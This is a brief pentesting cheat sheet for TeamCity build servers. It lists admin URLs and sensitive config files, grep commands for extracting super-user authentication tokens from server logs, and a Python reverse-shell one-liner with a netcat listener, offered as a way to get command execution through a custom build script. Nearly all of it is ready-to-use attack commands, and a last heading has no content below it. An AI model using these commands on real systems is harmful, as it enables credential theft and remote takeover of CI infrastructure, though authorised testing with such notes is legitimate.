TeamCity Pentesting
Common Directories
/admin
/admin/admin.htmlInteresting Files in Systems
TeamCity/conf/teamcity-startup.propertie
.BuildServer/systemFind Super User Authentication Tokens
grep -rni 'authentication token' TeamCity/logs
grep -rni 'Super user authentication token' TeamCity/logs
grep -rni 'token' TeamCity/logsArbitrary Command Execution by Custom Script
export RHOST="<local-ip>";export RPORT=<local-port>;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'nc -lvnp 4444
Arbitrary Command Execution by Diff Build
References
Last updated